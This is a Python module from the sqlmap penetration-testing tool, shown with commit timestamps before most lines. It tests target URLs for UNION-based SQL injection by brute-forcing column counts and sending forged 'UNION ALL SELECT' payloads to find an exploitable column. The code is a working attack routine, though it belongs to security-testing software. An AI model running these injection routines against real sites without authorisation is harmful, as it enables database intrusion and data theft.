2008-10-15 19:38:22 +04:00
#!/usr/bin/env python
"""
2008-10-15 19:56:32 +04:00
$ Id $
2008-10-15 19:38:22 +04:00
2010-10-14 18:41:14 +04:00
Copyright ( c ) 2006 - 2010 sqlmap developers ( http : / / sqlmap . sourceforge . net / )
2010-10-15 03:18:29 +04:00
See the file ' doc/COPYING ' for copying permission
2008-10-15 19:38:22 +04:00
"""
2011-01-06 12:26:01 +03:00
import time
2008-10-15 19:38:22 +04:00
from lib . core . agent import agent
2011-01-06 12:26:01 +03:00
from lib . core . common import clearConsoleLine
from lib . core . common import dataToStdout
2011-01-13 20:36:54 +03:00
from lib . core . common import getIdentifiedDBMS
2010-12-22 18:47:52 +03:00
from lib . core . common import getUnicode
from lib . core . common import parseUnionPage
2009-04-22 15:48:07 +04:00
from lib . core . common import randomStr
2008-10-15 19:38:22 +04:00
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
2008-12-02 02:09:07 +03:00
from lib . core . data import queries
2010-11-08 12:20:02 +03:00
from lib . core . enums import DBMS
2010-12-08 16:09:27 +03:00
from lib . core . enums import PAYLOAD
2009-04-22 15:48:07 +04:00
from lib . core . unescaper import unescaper
from lib . parse . html import htmlParser
2008-10-15 19:38:22 +04:00
from lib . request . connect import Connect as Request
2011-01-12 02:47:32 +03:00
def __unionPosition ( comment , place , parameter , value , prefix , suffix , dbms , count , where = 1 ) :
2010-10-31 19:58:38 +03:00
validPayload = None
2011-01-12 15:01:32 +03:00
vector = None
2010-03-22 18:39:29 +03:00
2009-04-22 15:48:07 +04:00
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable inband SQL injection vulnerability
2011-01-13 12:41:55 +03:00
for position in range ( 0 , count ) :
2009-04-22 15:48:07 +04:00
# Prepare expression with delimiters
randQuery = randomStr ( )
randQueryProcessed = agent . concatQuery ( " \' %s \' " % randQuery )
2011-01-12 02:47:32 +03:00
randQueryUnescaped = unescaper . unescape ( randQueryProcessed , dbms = dbms )
2009-04-22 15:48:07 +04:00
# Forge the inband SQL injection request
2011-01-13 12:41:55 +03:00
query = agent . forgeInbandQuery ( randQueryUnescaped , position , count , comment , prefix , suffix , conf . uChar )
2011-01-12 01:18:47 +03:00
payload = agent . payload ( place = place , parameter = parameter , newValue = query , where = where )
2009-04-22 15:48:07 +04:00
# Perform the request
2011-01-12 01:18:47 +03:00
resultPage , _ = Request . queryPage ( payload , place = place , content = True )
2009-04-22 15:48:07 +04:00
2011-01-12 02:59:02 +03:00
if resultPage and randQuery in resultPage and " UNION ALL SELECT " not in resultPage :
2010-10-31 19:58:38 +03:00
validPayload = payload
2011-01-13 12:41:55 +03:00
vector = ( position , count , comment , prefix , suffix , conf . uChar , where )
2009-04-22 15:48:07 +04:00
2011-01-12 01:18:47 +03:00
if where == 1 :
2010-12-22 18:47:52 +03:00
# Prepare expression with delimiters
randQuery2 = randomStr ( )
randQueryProcessed2 = agent . concatQuery ( " \' %s \' " % randQuery2 )
2011-01-12 02:47:32 +03:00
randQueryUnescaped2 = unescaper . unescape ( randQueryProcessed2 , dbms = dbms )
2010-12-22 18:47:52 +03:00
# Confirm that it is a full inband SQL injection
2011-01-13 12:41:55 +03:00
query = agent . forgeInbandQuery ( randQueryUnescaped , position , count , comment , prefix , suffix , conf . uChar , multipleUnions = randQueryUnescaped2 )
2011-01-12 01:18:47 +03:00
payload = agent . payload ( place = place , parameter = parameter , newValue = query , where = 2 )
2010-12-22 18:47:52 +03:00
# Perform the request
2011-01-12 01:18:47 +03:00
resultPage , _ = Request . queryPage ( payload , place = place , content = True )
2010-12-22 18:47:52 +03:00
2011-01-13 20:36:54 +03:00
if resultPage and " UNION ALL SELECT " not in resultPage and ( ( randQuery in resultPage and randQuery2 not in resultPage ) or ( randQuery not in resultPage and randQuery2 in resultPage ) ) :
2011-01-13 12:41:55 +03:00
vector = ( position , count , comment , prefix , suffix , conf . uChar , 2 )
2010-12-22 18:47:52 +03:00
2009-04-22 15:48:07 +04:00
break
2011-01-12 15:01:32 +03:00
return validPayload , vector
2010-03-22 18:39:29 +03:00
2011-01-12 02:47:32 +03:00
def __unionConfirm ( comment , place , parameter , value , prefix , suffix , dbms , count ) :
2010-10-31 19:58:38 +03:00
validPayload = None
2011-01-12 15:01:32 +03:00
vector = None
2010-03-22 18:39:29 +03:00
2009-04-22 15:48:07 +04:00
# Confirm the inband SQL injection and get the exact column
2010-11-14 01:47:37 +03:00
# position which can be used to extract data
2011-01-12 15:01:32 +03:00
validPayload , vector = __unionPosition ( comment , place , parameter , value , prefix , suffix , dbms , count )
2011-01-12 04:13:32 +03:00
# Assure that the above function found the exploitable full inband
# SQL injection position
if not validPayload :
2011-01-12 15:01:32 +03:00
validPayload , vector = __unionPosition ( comment , place , parameter , value , prefix , suffix , dbms , count , where = 2 )
2011-01-12 04:13:32 +03:00
2011-01-12 15:01:32 +03:00
return validPayload , vector
2008-12-22 00:39:53 +03:00
2011-01-12 02:47:32 +03:00
def __unionTestByCharBruteforce ( comment , place , parameter , value , prefix , suffix , dbms ) :
2008-10-15 19:38:22 +04:00
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability . The test is done up to 50 columns
on the target database table
"""
2011-01-12 01:18:47 +03:00
validPayload = None
2011-01-12 15:01:32 +03:00
vector = None
2010-11-19 17:56:20 +03:00
query = agent . prefixQuery ( " UNION ALL SELECT %s " % conf . uChar )
2008-10-15 19:38:22 +04:00
2011-01-12 01:18:47 +03:00
for count in range ( conf . uColsStart , conf . uColsStop + 1 ) :
2011-01-13 20:36:54 +03:00
if getIdentifiedDBMS ( ) == DBMS . ORACLE and query . endswith ( " FROM DUAL " ) :
2008-10-15 19:38:22 +04:00
query = query [ : - len ( " FROM DUAL " ) ]
2011-01-12 01:18:47 +03:00
if count :
2010-11-19 17:56:20 +03:00
query + = " , %s " % conf . uChar
2008-10-15 19:38:22 +04:00
2011-01-13 20:36:54 +03:00
if getIdentifiedDBMS ( ) == DBMS . ORACLE :
2008-10-15 19:38:22 +04:00
query + = " FROM DUAL "
2011-01-12 01:56:21 +03:00
status = ' %d / %d ( %d %s ) ' % ( count , conf . uColsStop , round ( 100.0 * count / conf . uColsStop ) , ' % ' )
debugMsg = " testing number of columns: %s " % status
logger . debug ( debugMsg )
2011-01-12 01:18:47 +03:00
2011-01-12 15:01:32 +03:00
validPayload , vector = __unionConfirm ( comment , place , parameter , value , prefix , suffix , dbms , count )
2008-12-22 00:39:53 +03:00
2010-11-18 20:55:43 +03:00
if validPayload :
2008-12-22 00:39:53 +03:00
break
2008-10-15 19:38:22 +04:00
2011-01-06 12:26:01 +03:00
clearConsoleLine ( True )
2011-01-12 15:01:32 +03:00
return validPayload , vector
2008-10-15 19:38:22 +04:00
2011-01-12 02:47:32 +03:00
def unionTest ( comment , place , parameter , value , prefix , suffix , dbms ) :
2008-10-15 19:38:22 +04:00
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability . The test is done up to 3 * 50 times
"""
2010-03-27 02:23:25 +03:00
if conf . direct :
return
2010-12-08 16:09:27 +03:00
kb . technique = PAYLOAD . TECHNIQUE . UNION
2011-01-12 15:01:32 +03:00
validPayload , vector = __unionTestByCharBruteforce ( comment , place , parameter , value , prefix , suffix , dbms )
2008-10-15 19:38:22 +04:00
2010-11-19 18:48:24 +03:00
if validPayload :
2010-12-01 13:59:58 +03:00
validPayload = agent . removePayloadDelimiters ( validPayload , False )
2008-10-15 19:38:22 +04:00
2011-01-12 15:01:32 +03:00
return validPayload , vector